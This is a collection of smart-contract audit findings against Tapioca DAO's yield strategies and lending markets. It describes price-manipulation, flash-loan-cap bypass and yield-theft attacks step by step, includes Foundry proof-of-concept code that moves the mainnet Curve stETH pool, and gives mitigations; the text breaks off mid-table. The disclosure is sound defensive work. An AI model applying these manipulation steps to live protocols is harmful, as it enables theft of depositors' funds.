Tapioca DAO - GalloDaSballo's results

Lines of code

https://github.com/Tapioca-DAO/tapioca-yieldbox-strategies-audit/blob/05ba7108a83c66dada98bc5bc75cf18004f2a49b/contracts/balancer/BalancerStrategy.sol#L224-L242

Vulnerability details

Impact

Withdrawals can be manipulated to cause complete loss of all tokens

The BalancerStrategy accounts for user deposits in terms of the BPT shares they contributed, however, for withdrawals, it estimates the amount of BPT to burn based on the amount of ETH to withdraw, which can be manipulated to cause a total loss to the Strategy

Deposits of weth are done via userData.joinKind set to `1``, which is extracted here in the generic Pool Logic https://etherscan.io/address/0x5c6ee304399dbdb9c8ef030ab642b10820db8f56#code#F24#L49

The interpretation (by convention is shown here): https://etherscan.io/address/0x5c6ee304399dbdb9c8ef030ab642b10820db8f56#code#F24#L49

enum JoinKind { INIT, EXACT_TOKENS_IN_FOR_BPT_OUT, TOKEN_IN_FOR_EXACT_BPT_OUT }

Which means that the deposit is using EXACT_TOKENS_IN_FOR_BPT_OUT which is safe in most circumstances (Pool Properly Balanced, with minimum liquidity)

BPT_IN_FOR_EXACT_TOKENS_OUT is vulnerable to manipulation

_vaultWithdraw uses the following logic to determine how many BPT to burn:

https://github.com/Tapioca-DAO/tapioca-yieldbox-strategies-audit/blob/05ba7108a83c66dada98bc5bc75cf18004f2a49b/contracts/balancer/BalancerStrategy.sol#L224-L242

uint256[] memory minAmountsOut = new uint256[](poolTokens.length);
        for (uint256 i = 0; i < poolTokens.length; i++) {
            if (poolTokens[i] == address(wrappedNative)) {
                minAmountsOut[i] = amount;
                index = int256(i);
            } else {
                minAmountsOut[i] = 0;
            }
        }

        IBalancerVault.ExitPoolRequest memory exitRequest;
        exitRequest.assets = poolTokens;
        exitRequest.minAmountsOut = minAmountsOut;
        exitRequest.toInternalBalance = false;
        exitRequest.userData = abi.encode(
            2,
            exitRequest.minAmountsOut,
            pool.balanceOf(address(this))
        );

This query logic is using 2, which Maps out to BPT_IN_FOR_EXACT_TOKENS_OUT which means Exact Out, with any (all) BPT IN, this means that the swapper is willing to burn all tokens https://etherscan.io/address/0x5c6ee304399dbdb9c8ef030ab642b10820db8f56#code#F24#L51

    enum ExitKind { EXACT_BPT_IN_FOR_ONE_TOKEN_OUT, EXACT_BPT_IN_FOR_TOKENS_OUT, BPT_IN_FOR_EXACT_TOKENS_OUT }

This meets the 2 prerequisite for stealing value from the vault by socializing loss due to single sided exposure:

• 1. The request is for at least amount WETH
• 2. The request is using BPT_IN_FOR_EXACT_TOKENS_OUT

Which means the strategy will accept any slippage, in this case 100%, causing it to take a total loss for the goal of allowing a withdrawal, at the advantage of the attacker and the detriment of all other depositors

POC

The requirement to trigger the loss are as follows:

• Deposit to have some amount of BPTs deposited into the strategy
• Imbalance the Pool to cause pro-rata amount of single token to require burning a lot more BPTs
• Withdraw from the strategy, the strategy will burn all of the BPTs it owns (more than the shares)
• Rebalance the pool with the excess value burned from the strategy

Further Details

Specifically, in withdrawing one Depositor Shares, the request would end up burning EVERYONEs shares, causing massive loss to everyone

This has already been exploited and explained in Yearns Disclosure

https://github.com/yearn/yearn-security/blob/master/disclosures/2022-01-30.md

More specifically this finding can cause a total loss, while trying to withdraw tokens for a single user, meaning that an attacker can setup the pool to cause a complete loss to all other stakers.

Mitigation Step

Use EXACT_BPT_IN_FOR_TOKENS_OUT and denominate the Strategy in LP tokens to avoid being attacked via single sided exposure

Assessed type

ERC4626

Lines of code

https://github.com/Tapioca-DAO/tapioca-yieldbox-strategies-audit/blob/05ba7108a83c66dada98bc5bc75cf18004f2a49b/contracts/balancer/BalancerStrategy.sol#L138-L147

Vulnerability details

Impact

The BalancerStrategy uses a cached value to determine it's balance in pool for which it takes Single Sided Exposure.

This means that the Strategy has some BPT tokens, but to price them, it's calling vault.queryExit which simulates withdrawing the LP in a single sided manner.

Due to the single sided exposure, it's trivial to perform a Swap, that will change the internal balances of the pool, as a way to cause the Strategy to discount it's tokens.

By the same process, we can send more ETH as a way to inflate the value of the Strategy, which will then be cached.

Since _currentBalance is a view-function, the YieldBox will accept these inflated values without a way to dispute them

https://github.com/Tapioca-DAO/tapioca-yieldbox-strategies-audit/blob/05ba7108a83c66dada98bc5bc75cf18004f2a49b/contracts/balancer/BalancerStrategy.sol#L138-L147

    function _deposited(uint256 amount) internal override nonReentrant {
        uint256 queued = wrappedNative.balanceOf(address(this));
        if (queued > depositThreshold) {
            _vaultDeposit(queued);
            emit AmountDeposited(queued);
        }
        emit AmountQueued(amount);

        updateCache(); /// @audit this is updated too late (TODO PROOF)
    }

POC

• Imbalance the pool (Sandwich A)
• Update updateCache
• Deposit into YieldBox, YieldBox is using a view function, meaning it will use the manipulated strategy _currentBalance
• _deposited trigger an updateCache
• Rebalance the Pool (Sandwich B)
• Call updateCache again to bring back the rate to a higher value
• Withdraw at a gain

Result

Imbalance Up -> Allows OverBorrowing and causes insolvency to the protocol Imbalance Down -> Liquidate Borrowers unfairly at a profit to the liquidator Sandwhiching the Imbalance can be used to extract value from the strategy and steal user deposits as well

Mitigation

Use fair reserve math, avoid single sided exposure (use the LP token as underlying, not one side of it)

Assessed type

ERC4626

Lines of code

https://github.com/Tapioca-DAO/tapioca-yieldbox-strategies-audit/blob/05ba7108a83c66dada98bc5bc75cf18004f2a49b/contracts/lido/LidoEthStrategy.sol#L118-L125

Vulnerability details

The strategy is pricing stETH as ETH by asking the pool for it's return value

This is easily manipulatable by performing a swap big enough

https://github.com/Tapioca-DAO/tapioca-yieldbox-strategies-audit/blob/05ba7108a83c66dada98bc5bc75cf18004f2a49b/contracts/lido/LidoEthStrategy.sol#L118-L125

    function _currentBalance() internal view override returns (uint256 amount) {
        uint256 stEthBalance = stEth.balanceOf(address(this));
        uint256 calcEth = stEthBalance > 0
            ? curveStEthPool.get_dy(1, 0, stEthBalance) // TODO: Prob manipulatable view-reentrancy
            : 0;
        uint256 queued = wrappedNative.balanceOf(address(this));
        return calcEth + queued;
    }

    /// @dev deposits to Lido or queues tokens if the 'depositThreshold' has not been met yet
    function _deposited(uint256 amount) internal override nonReentrant {
        uint256 queued = wrappedNative.balanceOf(address(this));
        if (queued > depositThreshold) {
            require(!stEth.isStakingPaused(), "LidoStrategy: staking paused");
            INative(address(wrappedNative)).withdraw(queued);
            stEth.submit{value: queued}(address(0)); //1:1 between eth<>stEth // TODO: Prob cheaper to buy stETH
            emit AmountDeposited(queued);
            return;
        }
        emit AmountQueued(amount);
    }

POC

• Imbalance the Pool to overvalue the stETH

• Overborrow and Make the Singularity Insolvent

• Imbalance the Pool to undervalue the stETH

• Liquidate all Depositors (at optimal premium since attacker can control the price change)

Coded POC

Logs

[PASS] testSwapStEth() (gas: 372360)
  Initial Price 5443663537732571417920
  Changed Price 2187071651284977907921
  Initial Price 2187071651284977907921
  Changed Price 1073148438886623970

[PASS] testSwapETH() (gas: 300192)
Logs:
  value 100000000000000000000000
  Initial Price 5443663537732571417920
  Changed Price 9755041616702274912586
  value 700000000000000000000000
  Initial Price 9755041616702274912586
  Changed Price 680711874102963551173181

Considering that swap fees are 1BPS, the attack is profitable at very low TVL

// SPDX-License Identifier: MIT

pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "forge-std/console2.sol";

interface ICurvePoolWeird {
    function add_liquidity(uint256[2] memory amounts, uint256 min_mint_amount) external payable returns (uint256);
    function remove_liquidity(uint256 _amount, uint256[2] memory _min_amounts) external returns (uint256[2] memory);
}

interface ICurvePool {
    function add_liquidity(uint256[2] memory amounts, uint256 min_mint_amount) external payable returns (uint256);
    function remove_liquidity(uint256 _amount, uint256[2] memory _min_amounts) external returns (uint256[2] memory);

    function get_virtual_price() external view returns (uint256);
    function remove_liquidity_one_coin(uint256 _token_amount, int128 i, uint256 _min_amount) external;

    function get_dy(int128 i, int128 j, uint256 dx) external view returns (uint256);
    function exchange(int128 i, int128 j, uint256 dx, uint256 min_dy) external payable returns (uint256);
}

interface IERC20 {
    function balanceOf(address) external view returns (uint256);
    function approve(address, uint256) external returns (bool);
    function transfer(address, uint256) external returns (bool);
}

contract Swapper is Test {
    ICurvePool pool = ICurvePool(0xDC24316b9AE028F1497c275EB9192a3Ea0f67022);
    IERC20 stETH = IERC20(0xae7ab96520DE3A18E5e111B5EaAb095312D7fE84);

    uint256 TEN_MILLION_USD_AS_ETH = 5455e18; // Rule of thumb is 1BPS cost means we can use 5 Billion ETH and still be

    function swapETH() external payable {
        console2.log("value", msg.value);
        console2.log("Initial Price", pool.get_dy(1, 0, TEN_MILLION_USD_AS_ETH));

        pool.exchange{value: msg.value}(0, 1, msg.value, 0); // Swap all yolo

        // curveStEthPool.get_dy(1, 0, stEthBalance)
        console2.log("Changed Price", pool.get_dy(1, 0, TEN_MILLION_USD_AS_ETH));


    }

    function swapStEth() external {
        console2.log("Initial Price", pool.get_dy(1, 0, TEN_MILLION_USD_AS_ETH));

        // Always approve exact ;)
        uint256 amt = stETH.balanceOf(address(this));
        stETH.approve(address(pool), stETH.balanceOf(address(this)));

        pool.exchange(1, 0, amt, 0); // Swap all yolo

        // curveStEthPool.get_dy(1, 0, stEthBalance)
        console2.log("Changed Price", pool.get_dy(1, 0, TEN_MILLION_USD_AS_ETH));
    }

    receive() external payable {}
}

contract CompoundedStakesFuzz is Test {
    Swapper c;
    IERC20 token = IERC20(0xae7ab96520DE3A18E5e111B5EaAb095312D7fE84);

    function setUp() public {
        c = new Swapper();
    }

    function testSwapETH() public {
        deal(address(this), 100_000e18);
        c.swapETH{value: 100_000e18}(); /// 100k ETH is enough to double the price

        deal(address(this), 700_000e18);
        c.swapETH{value: 700_000e18}(); /// 700k ETH is enough to double the price
    }
    function testSwapStEth() public {
        vm.prank(0x1982b2F5814301d4e9a8b0201555376e62F82428); // AAVE stETH // Has 700k ETH, 100k is sufficient
        token.transfer(address(c), 100_000e18);
        c.swapStEth();

        vm.prank(0x1982b2F5814301d4e9a8b0201555376e62F82428); // AAVE stETH // Another one for good measure
        token.transfer(address(c), 600_000e18);
        c.swapStEth();
    }
}

Mitigation

Use the Chainlink stETH / ETH Price Feed or Ideally do not expose the strategy to any conversion, simply deposit and withdraw stETH directly to avoid any risk or attack in conversions

https://data.chain.link/arbitrum/mainnet/crypto-eth/steth-eth

https://data.chain.link/ethereum/mainnet/crypto-eth/steth-eth

Assessed type

Oracle

Lines of code

https://github.com/Tapioca-DAO/tapioca-yieldbox-strategies-audit/blob/05ba7108a83c66dada98bc5bc75cf18004f2a49b/contracts/curve/TricryptoLPStrategy.sol#L104-L107

Vulnerability details

Impact

compoundAmount will always try to sell 0 tokens because the staticall will revert since the function changes storage in checkpoint

This causes the compoundAmount to always return 0, which means that the Strategy is underpriced at all times allowing to Steal all Rewards via:

• Deposit to own a high % of ownerhsip in the strategy (shares are underpriced)
• Compound (shares socialize the yield to new total supply, we get the majority of that)
• Withdraw (lock in immediate profits without contributing to the Yield)

POC

This Test is done on the Arbitrum Tricrypto Gauge with Foundry

1 is the flag value for a revert 0 is the expected value

We get 1 when we use staticcall since the call reverts internally We get 0 when we use call since the call doesn't

The comment in the Gauge Code is meant for usage off-chain, onChain you must accrue (or you could use a Accrue Then Revert Pattern, similar to UniV3 Quoter)

NOTE: The code for Mainnet is the same, so it will result in the same impact https://etherscan.io/address/0xDeFd8FdD20e0f34115C7018CCfb655796F6B2168#code#L375

Foundry POC

forge test --match-test test_callWorks --rpc-url https://arb-mainnet.g.alchemy.com/v2/ALCHEMY_KEY

Which will revert since checkpoint is a non-view function and staticall reverts if any state is changed

https://arbiscan.io/address/0x555766f3da968ecbefa690ffd49a2ac02f47aa5f#code#L168

// SPDX-License Identifier: MIT

pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "forge-std/console2.sol";



contract GaugeCallTest is Test {
    
    // Arb Tricrypto Gauge
    address lpGauge = 0x555766f3da968ecBefa690Ffd49A2Ac02f47aa5f;

    function setUp() public {}

    function doTheCallView() internal returns (uint256) {
        (bool success, bytes memory response) = address(lpGauge).staticcall(
            abi.encodeWithSignature("claimable_tokens(address)", address(this))
        );

        uint256 claimable = 1;
        if (success) {
            claimable = abi.decode(response, (uint256));
        }

        return claimable;
    }
    function doTheCallCall() internal returns (uint256) {
        (bool success, bytes memory response) = address(lpGauge).call(
            abi.encodeWithSignature("claimable_tokens(address)", address(this))
        );

        uint256 claimable = 1;
        if (success) {
            claimable = abi.decode(response, (uint256));
        }

        return claimable;
    }

    function test_callWorks() public {
        uint256 claimableView = doTheCallView();

        assertEq(claimableView, 1); // Return 1 which is our flag for failure

        uint256 claimableNonView = doTheCallCall();

        assertEq(claimableNonView, 0); // Return 0 which means we read the proper value
    }
}

Mitigation Step

You should use a non-view function like in compound

Assessed type

ERC4626

Lines of code

https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/2286f80f928f41c8bc189d0657d74ba83286c668/contracts/usd0/USDO.sol#L81-L89

Vulnerability details

Because maxFlashLoan doesn't change dynamically, it's possible to call flashLoan multiple times, sidestepping the maxFlashMint

https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/2286f80f928f41c8bc189d0657d74ba83286c668/contracts/usd0/USDO.sol#L81-L89

    function flashLoan(
        IERC3156FlashBorrower receiver,
        address token,
        uint256 amount,
        bytes calldata data
    ) external override notPaused returns (bool) {
        require(token == address(this), "USDO: token not valid");
        require(maxFlashLoan(token) >= amount, "USDO: amount too big");
        require(amount > 0, "USDO: amount not valid");

The function maxFlashLoan always returns maxFlashMint, allowing it to sidestep the cap if calling the function more than once

https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/2286f80f928f41c8bc189d0657d74ba83286c668/contracts/usd0/USDO.sol#L57-L59

    function maxFlashLoan(address) public view override returns (uint256) {
        return maxFlashMint;
    }

POC

• Call flashLoan twice with maxFlashMint
• you now have twice the maxFlashMint and have sidestepped the max limit

Mitigation

Consider computing maxFlashMint with a cap, based on totalSupply

For example totalSupply > maxFlashMint ? 0 : maxFlashMint - totalSupply

Assessed type

Invalid Validation

Lines of code

https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/2286f80f928f41c8bc189d0657d74ba83286c668/contracts/markets/bigBang/BigBang.sol#L315-L317

Vulnerability details

The comment for liquidate on both BigBang and Singularity is

https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/2286f80f928f41c8bc189d0657d74ba83286c668/contracts/markets/bigBang/BigBang.sol#L315-L317

        // Oracle can fail but we still need to allow liquidations
        (, uint256 _exchangeRate) = updateExchangeRate();
        _accrue();

However, the oracle may revert for the following reasons:

• Chainlink oracle Staleness checks fails (which is in contrast to the request above of accepting as stale price)
• Chainlink is paused

When either of those two scenarios happens, liquidations will be denied.

Mitigation

You could adapt the Oracle to behave similarly to Liquity, which will cache the lastGoodPrice and if both feeds stop working, will use that stored value in order to allow functionality instead of reverting

Assessed type

Oracle

Lines of code

https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/2286f80f928f41c8bc189d0657d74ba83286c668/contracts/markets/bigBang/BigBang.sol#L180-L201

Vulnerability details

Impact

Each BingBang market is an independent deployment

The interest rate for each market is computed via getDebtRate, which compares the "utilization" of the ethMarket against the specific market

https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/2286f80f928f41c8bc189d0657d74ba83286c668/contracts/markets/bigBang/BigBang.sol#L180-L201

function getDebtRate() public view returns (uint256) {
        if (_isEthMarket) return penrose.bigBangEthDebtRate(); // default 0.5%
        if (totalBorrow.elastic == 0) return minDebtRate;

        uint256 _ethMarketTotalDebt = BigBang(penrose.bigBangEthMarket())
            .getTotalDebt();
        uint256 _currentDebt = totalBorrow.elastic;
        uint256 _maxDebtPoint = (_ethMarketTotalDebt *
            debtRateAgainstEthMarket) / 1e18;

        if (_currentDebt >= _maxDebtPoint) return maxDebtRate;

        uint256 debtPercentage = ((_currentDebt - debtStartPoint) *
            DEBT_PRECISION) / (_maxDebtPoint - debtStartPoint);
        uint256 debt = ((maxDebtRate - minDebtRate) * debtPercentage) /
            DEBT_PRECISION +
            minDebtRate;

        if (debt > maxDebtRate) return maxDebtRate;

        return debt;
    }

Because of the fact that a change in ethMarket.getTotalDebt() doesn't cause any accrual in other BigBank markets, an attacker can, at times, manipulate the debtRate by:

• Flashloaning ETH
• Providing ETH
• Getting Debt on the ETH market
• Calling _accrue on the specific market they are invested in

This can be done profitably any time the interest that is yet to tick is lower than the borrowing cost (5 BPS).

For context, paying 30% yearly 30 / 365 = 0.08219178082 8.2 BPS per day

Meaning that for most Whales, if even one day has passed without any interest ticking, it can be profitable to manipulate the interest rate to save on fees rather than pay the proper accrual value.

POC

• Whale has to move their Singularity Position
• Realize more than 8BPS of interest will accrue
• Provide equivalent Cost / 5 BPS / LTV of ETH to the Eth Market
• Mint for that amount
• Accrue their own debt, at discounted rate

In the case of a few days of not accrue or higher interest rates, this becomes a valid strategy even when done via paid flashloans

Mitigation Steps

Centralizing (perhaps in Penrose) the interest rate logic would allow to re-accrue the debt of all markets when the ETH market debt changes

This would avoid these type of "Cross Contract" view manipulations

Assessed type

Invalid Validation

Lines of code

https://github.com/Tapioca-DAO/tapioca-yieldbox-strategies-audit/blob/05ba7108a83c66dada98bc5bc75cf18004f2a49b/contracts/stargate/StargateSwapperV3.sol#L94-L104 https://github.com/Tapioca-DAO/tapioca-periph-audit/blob/023751a4e987cf7c203ab25d3abba58f7344f213/contracts/Swapper/UniswapV3Swapper.sol#L180-L192

Vulnerability details

Impact

The UniswapV3Swapper uses a hardcoded poolFee instead of checking the chain for the best option (For both Stargate and in general)

https://github.com/Tapioca-DAO/tapioca-yieldbox-strategies-audit/blob/05ba7108a83c66dada98bc5bc75cf18004f2a49b/contracts/stargate/StargateSwapperV3.sol#L94-L104

https://github.com/Tapioca-DAO/tapioca-periph-audit/blob/023751a4e987cf7c203ab25d3abba58f7344f213/contracts/Swapper/UniswapV3Swapper.sol#L180-L192

        ISwapRouter.ExactInputSingleParams memory params = ISwapRouter
            .ExactInputSingleParams({
                tokenIn: tokenIn,
                tokenOut: tokenOut,
                fee: poolFee, /// @audit MED - Pool Fee hardcoded exposes Swaps to suboptimal routes in most cases
                recipient: swapData.yieldBoxData.depositToYb
                    ? address(this)
                    : to,
                deadline: deadline,
                amountIn: amountIn,
                amountOutMinimum: amountOutMin,
                sqrtPriceLimitX96: 0
            });

Fees liquidity and price can change and fees are unique to type of pairs.

For highly liquid pairs, such as WETH and wBTC, low fees are best, while for more exotic pairs, such as CRV or AAVE, higher fees may be necessary

Limiting the swapper to a single fee tier can cause a significant loss on each swap

Examples

By checking info.uniswap

https://info.uniswap.org/#/tokens/0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2

We can see that USDC/ETH has a 5BPS fee While wBTC/ETH has highest liquidity on it's 30 BPS fee tier

Even looking at stargate, we can see that it uses a 1% fee for USDC / STG and a 30 BPS fee for STG / ETH

Mitigation

Add an extra check to find the most liquid fee, a simple slot0 check for liquidity can be sufficient in most cases

Additional Resources

Check my submission here: https://github.com/sherlock-audit/2023-04-splits-judging/blob/15ed1328bed52511a772aeb1a8607db1bcf11163/001-H/103.md

As well as: https://github.com/sherlock-audit/2023-04-splits-judging/blob/15ed1328bed52511a772aeb1a8607db1bcf11163/001-H/112.md

Assessed type

Oracle

Lines of code

https://github.com/Tapioca-DAO/tapioca-yieldbox-strategies-audit/blob/05ba7108a83c66dada98bc5bc75cf18004f2a49b/contracts/yearn/YearnStrategy.sol#L111-L117 https://github.com/yearn/yearn-vaults/blob/97ca1b2e4fcf20f4be0ff456dabd020bfeb6697b/contracts/Vault.vy#L942-L956

Vulnerability details

Yield Farming Vaults have a known vulnerability which consists of front-running the yield distribution as a way to receive a boost in yield without contributing to it.

The way YieldBox strategies have addressed this is by adding the Pending Harvest to _currentBalance

Yearn Vaults instead have opted to unlock profits from an Harvest over time.

This mechanism is handled by two variables in the Yearn.Vault:

• lockedProfit
• lockedProfitDegradation

https://github.com/yearn/yearn-vaults/blob/97ca1b2e4fcf20f4be0ff456dabd020bfeb6697b/contracts/Vault.vy#L241-L242

lockedProfit: public(uint256) # how much profit is locked and cant be withdrawn
lockedProfitDegradation: public(uint256) # rate per block of degradation. DEGRADATION_COEFFICIENT is 100% per block

When Yearn performs an harvest, it doesn't increase the PPFS by the whole amount, it instead queues these profits in the lockedProfits

This is where the YearnStrategy is leaking value

The way Yearn Strategy computes it's balance is as follows:

https://github.com/Tapioca-DAO/tapioca-yieldbox-strategies-audit/blob/05ba7108a83c66dada98bc5bc75cf18004f2a49b/contracts/yearn/YearnStrategy.sol#L111-L117

    function _currentBalance() internal view override returns (uint256 amount) {
        uint256 shares = vault.balanceOf(address(this));
        uint256 pricePerShare = vault.pricePerShare();
        uint256 invested = (shares * pricePerShare) / (10 ** vault.decimals());
        uint256 queued = wrappedNative.balanceOf(address(this));
        return queued + invested;
    }

The value of a share is computed as pricePerShare (which as I'll show doesn't include the locked profits)

YearnVaults compute pricePerShare as follows: https://github.com/yearn/yearn-vaults/blob/97ca1b2e4fcf20f4be0ff456dabd020bfeb6697b/contracts/Vault.vy#L942-L956

@view
@internal
def _shareValue(shares: uint256) -> uint256:
    # Returns price = 1:1 if vault is empty
    if self.totalSupply == 0:
        return shares

    # Determines the current value of `shares`.
    # NOTE: if sqrt(Vault.totalAssets()) >>> 1e39, this could potentially revert

    return (
        shares
        * self._freeFunds()
        / self.totalSupply
    )

Where _freeFunds() is the difference between _totalAssets and a linearly unlocking value _calculateLockedProfit

https://github.com/yearn/yearn-vaults/blob/97ca1b2e4fcf20f4be0ff456dabd020bfeb6697b/contracts/Vault.vy#L829C1-L842C17

@view
@internal
def _calculateLockedProfit() -> uint256:
    lockedFundsRatio: uint256 = (block.timestamp - self.lastReport) * self.lockedProfitDegradation

    if(lockedFundsRatio < DEGRADATION_COEFFICIENT):
        lockedProfit: uint256 = self.lockedProfit
        return lockedProfit - (
                lockedFundsRatio
                * lockedProfit
                / DEGRADATION_COEFFICIENT
            )
    else:        
        return 0

These profits are linearly "streamed" as the time has passed from the previous harvest

This is not done by the YearnStartegy which will underprice the PricePerShare (pps) by the value that corresponds to _calculateLockedProfit

This creates a MEV opportunity for depositors, that can:

• Deposit funds somewhere else to earn yield
• Wait for the YearnStrategy to harvest
• Deposit funds as the harvest happens (since pps will not appreciate)
• Withdraw as soon as the profitDegradation is done

Stealing the yield from honest / idle depositors

Mitigation

Consider porting over the math around profit degradation and applying it to pricing the deposit token

Additional info

From the Yearn Side this is something they track and they can change the profitDegradation as a way to avoid having people quickly steal the yield without contributing to it

From your end, it may be worth monitoring the strategy to determine if people are arbitrating it, if they are, you may chose to add an additional profitDegradation from your side, as a way to release the profits slowly to ensure they are split amongst those that contribute to the yield

Assessed type

ERC4626

Lines of code

https://github.com/Tapioca-DAO/tapioca-yieldbox-strategies-audit/blob/05ba7108a83c66dada98bc5bc75cf18004f2a49b/contracts/yearn/YearnStrategy.sol#L105

Vulnerability details

Yearn V2 and V3 have the concept of Lossy Strategies, these are dealt with by imputing the loss to the caller.

https://github.com/yearn/yearn-vaults/blob/97ca1b2e4fcf20f4be0ff456dabd020bfeb6697b/contracts/Vault.vy#L1030-L1034

@external
@nonreentrant("withdraw")
def withdraw(
    maxShares: uint256 = MAX_UINT256,
    recipient: address = msg.sender,
    maxLoss: uint256 = 1,  # 0.01% [BPS]
) -> uint256:

When the YearnStrategy calls withdraw with a third parameter set to 0, it means that the withdrawer isn't willing to take any loss. https://github.com/Tapioca-DAO/tapioca-yieldbox-strategies-audit/blob/05ba7108a83c66dada98bc5bc75cf18004f2a49b/contracts/yearn/YearnStrategy.sol#L105

vault.withdraw(toWithdraw, address(this), 0);

This can cause a DOS when it matters, because while the Owner can call emergencyWithdraw, because the loss is set to 0, this can cause the vault shares to be stuck until the loss is either repaid or socialized

POC

• Deposit in Yearn Vault
• Vault has strategy with loss
• Call vault.withdraw(toWithdraw, address(this), 0);
• Strategy has loss
• Check causes revert
• Funds are stuck

This will cause issues:

• Prevent withdrawals during normal operations
• Prevent withdrawals during emergencyWithdraw

Mitigation

Consider allowing the owner to specify a loss threshold via calldata, or use a reasonable hardcoded loss threshold

Assessed type

ERC4626

Lines of code

https://github.com/Tapioca-DAO/tapioca-yieldbox-strategies-audit/blob/05ba7108a83c66dada98bc5bc75cf18004f2a49b/contracts/yearn/YearnStrategy.sol#L101-L106

Vulnerability details

Yearn V2 and V3 have the concept of Lossy Strategies, these are dealt with by imputing the loss to the caller.

https://github.com/yearn/yearn-vaults/blob/97ca1b2e4fcf20f4be0ff456dabd020bfeb6697b/contracts/Vault.vy#L1030-L1034

@external
@nonreentrant("withdraw")
def withdraw(
    maxShares: uint256 = MAX_UINT256,
    recipient: address = msg.sender,
    maxLoss: uint256 = 1,  # 0.01% [BPS]
) -> uint256:

Setting maxLoss to zero means that the call to withdraw will revert if any Yearn Strategy being withdrawn from is going to lock-in a loss

The goal of emergencyWithdraw is to quickly remove all assets, the hardcoded 0 value prevents this in the specific scenarios that legitimize calling this function

https://github.com/Tapioca-DAO/tapioca-yieldbox-strategies-audit/blob/05ba7108a83c66dada98bc5bc75cf18004f2a49b/contracts/yearn/YearnStrategy.sol#L101-L106

    function emergencyWithdraw() external onlyOwner returns (uint256 result) {
        compound("");

        uint256 toWithdraw = vault.balanceOf(address(this));
        result = vault.withdraw(toWithdraw, address(this), 0);
    }

In lack of that, the owner will have to Pay for all of the Vaults losses as a way to ensure the vault can pay back the shares, which can bankrupt the owner or otherwise will cause the Strategy to have all of the funds stuck (while other people will be able to withdraw at a loss)

Mitigation Step

Allow a maxLoss value that is either lax enough, or passed by the caller

Assessed type

ERC4626

Lines of code

https://github.com/Tapioca-DAO/tapioca-yieldbox-strategies-audit/blob/05ba7108a83c66dada98bc5bc75cf18004f2a49b/contracts/lido/LidoEthStrategy.sol#L128-L137

Vulnerability details

Impact

In most cases stETH is always cheaper than ETH

See CL Oracle: https://data.chain.link/arbitrum/mainnet/crypto-eth/steth-eth

Reporting 0.999100 ETH / stETH

However, the strategy is always wrapping ETH to stETH by depositing it into the Lido Contract

https://github.com/Tapioca-DAO/tapioca-yieldbox-strategies-audit/blob/05ba7108a83c66dada98bc5bc75cf18004f2a49b/contracts/lido/LidoEthStrategy.sol#L128-L137

        if (queued > depositThreshold) {
            require(!stEth.isStakingPaused(), "LidoStrategy: staking paused");
            INative(address(wrappedNative)).withdraw(queued);
            stEth.submit{value: queued}(address(0)); //1:1 between eth<>stEth // TODO: Prob cheaper to buy stETH
            emit AmountDeposited(queued);
            return;
        }

This means that the Strategy is inherently taking some loss (ETH price vs stETH price) on each deposit

POC

Compare the Realized value from depositing against the price shown by the feeds

Here's the last two weeks data I scraped from onChain:

| roundId              | answer             | As ETH       | LOSS IN BPS | startedAt  | updatedAt  | answeredInRound      |
| -------------------- | ------------------ | ------------ | ----------- | ---------- | ---------- | -------------------- |
| 18446744073709551726 | 998550934081305700 | 0.9985509341 | 14.49065919 | 1687725027 | 1687725027 | 18446744073709551726 |
| 18446744073709551761 | 9.98847E+17        | 0.99884668   | 11.5332     | 1690749851 | 1690749851 | 18446744073709551761 |
| 18446744073709551730 | 998958688800485800 | 0.9989586888 | 10.413112   | 1688070676 | 1688070676 | 18446744073709551730 |
| 18446744073709551732 | 998988324489792200 | 0.9989883245 | 10.1167551  | 1688243534 | 1688243534 | 18446744073709551732 |
| 18446744073709551733 | 998988336918386800 | 0.9989883369 | 10.11663082 | 1688329961 | 1688329961 | 18446744073709551733 |
| 18446744073709551724 | 999064611648799700 | 0.9990646116 | 9.353883512 | 1687552189 | 1687552189 | 18446744073709551724 |
| 18446744073709551743 | 9.99093E+17        | 0.99909267   | 9.0733      | 1689194182 | 1689194182 | 18446744073709551743 |

Full 2 Weeks Dataset: https://docs.google.com/spreadsheets/d/1iPEuOtCHt39GkeO-R-y1EyFMxKJbNKS-8ze3WqdiVLk/edit?usp=sharing

As you can see, the strategy is locking in a loss of up to 15 BPS just in depositing

Since the Swap Fee on Mainnet is 1 BPS this is 15 times more than necessary

If we consider earlier times, it's not uncommon for stETH to have higher price changes

Mitigation

Check the pool and see if it's cheaper to buy stETH from it

Or refactor the code to only use stETH which avoids single sided exposure which creates further issues in the strategy

Additional Resources

The historical CL prices: https://docs.google.com/spreadsheets/d/1PZKBAV7rhxJBa4xKwnobTt8KpauLOK31RLnHTGB4JO8/edit?usp=sharing

As you can see stETH has had periods of wild fluctuations the highest in 2023 reaching a Depeg of over 1% 131.7212195 BPS

Assessed type

Oracle

Lines of code

https://github.com/Tapioca-DAO/tapioca-yieldbox-strategies-audit/blob/05ba7108a83c66dada98bc5bc75cf18004f2a49b/contracts/lido/LidoEthStrategy.sol#L149-L157

Vulnerability details

Impact

The LidEthStrategy uses a hardcoded 2.5% Slippage for _withdraw

https://github.com/Tapioca-DAO/tapioca-yieldbox-strategies-audit/blob/05ba7108a83c66dada98bc5bc75cf18004f2a49b/contracts/lido/LidoEthStrategy.sol#L149-L157

        if (amount > queued) {
            uint256 toWithdraw = amount - queued; //1:1 between eth<>stEth
            uint256 minAmount = toWithdraw - (toWithdraw * 250) / 10_000; //2.5%
            uint256 obtainedEth = curveStEthPool.exchange(
                1,
                0,
                toWithdraw,
                minAmount
            );

            INative(address(wrappedNative)).deposit{value: obtainedEth}();

2.5% is a VERY high slippage for Curve StableSwaps

On Mainnet, you'd need to swap over 140k ETH to trigger such a change

However, the Swap Fee for this pair is 1BPS

Meaning it's EXTREMELY cheap to manipulate the price to cause it to have a 2.5% Loss

This means that for most withdrawals, the strategy is leaking 2.5% of value (2 BPS + Gas is negligible in this context)

POC

We need to sell 135k stETH to move the price by 2.5% (due to Curve being really efficient)

|Sell up to |Fees       |Minimum Strategy Size|In USD     |Fee   |USD PRICE|
|-----------|-----------|---------------------|-----------|------|---------|
